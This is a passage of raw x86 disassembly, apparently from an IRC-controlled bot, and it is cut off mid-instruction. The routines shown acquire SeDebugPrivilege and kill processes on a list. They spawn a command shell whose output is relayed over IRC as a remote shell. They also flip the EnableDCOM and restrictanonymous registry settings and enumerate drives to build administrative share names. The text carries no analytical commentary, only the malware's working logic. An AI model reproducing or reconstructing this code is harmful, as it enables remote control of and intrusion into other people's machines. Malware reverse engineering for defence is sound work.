[ebp+var_4] call dword_4CB6A0 ; AdjustTokenPrivileges mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] call dword_427068 ; CloseHandle mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB654, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CB638, ebx jz loc_4198BB cmp dword_4CB548, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CB654 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB638 ; Process32First mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CB548 ; Process32Next test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_439D88 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call dword_427184 ; lstrcmpi test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439DE8 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax call dword_4270F0 ; TerminateProcess test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi ; CloseHandle jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CB654 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CB4F4 ; Module32First push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB548 ; Process32Next test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi ; CloseHandle loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call dword_4270F0 ; TerminateProcess test eax, eax jnz short loc_4198E6 push edi call esi ; CloseHandle jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_439F88 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_439F64 jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439F40 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call dword_427084 ; OpenProcess mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi call dword_4270F0 ; TerminateProcess test eax, eax jnz short loc_4199FB push esi xor edi, edi call dword_427068 ; CloseHandle loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419A00 proc near ; DATA XREF: sub_401221+3CDo push esi xor esi, esi loc_419A03: ; CODE XREF: sub_419A00+1Ej push 1 push esi push esi push esi push esi push esi call sub_4196BC add esp, 18h push dword_439D84 call dword_427078 ; Sleep jmp short loc_419A03 sub_419A00 endp ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB8B8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi ; CloseHandle loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB8C0 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi ; CloseHandle loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB8B4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi ; CloseHandle loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p ; sub_415C59+14Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB8BC call dword_4270E0 ; WriteFile test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43D7E8 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h call dword_427078 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_4 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB684 ; send test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB8C4 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB8B8 call dword_42718C ; PeekNamedPipe test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB8B4 call dword_427188 ; GetExitCodeProcess test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call dword_427078 ; Sleep jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB8B8 call dword_4270E8 ; ReadFile test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB8F8 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_43A010 push ebx push dword_4DB8F8 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 call dword_4270CC ; ExitThread loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439FE8 push ebx push dword_4DB8F8 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call dword_4270CC ; ExitThread loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_439FB8 push ebx push dword_4DB8F8 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call dword_4270CC ; ExitThread sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p ; sub_415C59+99p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433BD4 push esi call dword_4CB6F0 ; SearchPathA test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB8BC call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_4270F4 ; DuplicateHandle test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43D7E8 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_42706C ; CreateProcessA test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB8B8, eax mov eax, [ebp+var_8] mov dword_4DB8C0, eax mov eax, [ebp+var_2C] mov dword_4DB8B4, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB8F8, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB8C4 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_43A074 call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E578[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi call dword_42707C ; CreateThread cmp eax, esi mov dword_43E584[edi], eax jnz short loc_419E12 call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_43A040 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 call dword_4270CC ; ExitThread sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB704, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6A4 ; RegOpenKeyExA test eax, eax jnz short loc_419F04 mov ax, word_438DE8 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB658 ; RegSetValueExA test eax, eax jz short loc_419EE6 push offset dword_43A310 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_43A2F0 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB610 ; RegCloseKey jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_43A2C0 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6A4 ; RegOpenKeyExA test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB658 ; RegSetValueExA test eax, eax jz short loc_419F86 push offset dword_43A270 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_43A23C loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB610 ; RegCloseKey jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_43A200 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_43A1D0 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB72C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB578 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_43A098 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_43A1AC jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_43A180 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_43A0B8 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_43A15C jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_43A130 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB6C4 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_43A108 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_43A0D8 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB704, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6A4 ; RegOpenKeyExA test eax, eax jnz short loc_41A228 mov ax, word_438E2C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB658 ; RegSetValueExA test eax, eax jz short loc_41A20A push offset dword_43A488 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_43A46C loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB610 ; RegCloseKey jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_43A2C0 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6A4 ; RegOpenKeyExA test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB658 ; RegSetValueExA test eax, eax jz short loc_41A2A6 push offset dword_43A42C jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_43A3F4 loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB610 ; RegCloseKey jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_43A3B8 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_43A1D0 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB72C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_43A098 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_43A398 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_43A370 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_43A0A8 jb short loc_41A321 call dword_427190 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB694 ; GetDriveTypeA cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add 